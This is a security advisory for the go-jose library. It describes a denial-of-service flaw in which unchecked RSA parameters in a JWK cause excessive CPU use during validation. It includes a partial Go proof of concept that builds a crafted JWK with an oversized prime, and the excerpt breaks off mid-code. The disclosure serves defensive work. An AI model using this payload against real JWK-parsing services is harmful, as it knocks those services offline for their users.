GHSA-mgcc-cww5-fp2q — Go JOSE: DoS when parsing JWKs that contain RSA keys

Affected: Go: github.com/go-jose/go-jose/v4, Go: github.com/go-jose/go-jose/v3

### Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

### Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

### Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

```go package main

import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time"

"github.com/go-jose/go-jose/v4" )

func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3)

jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), }

protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(pro…

Most recent entries from all

GHSA-mgcc-cww5-fp2q — Go JOSE: DoS when parsing JWKs that contain RSA keys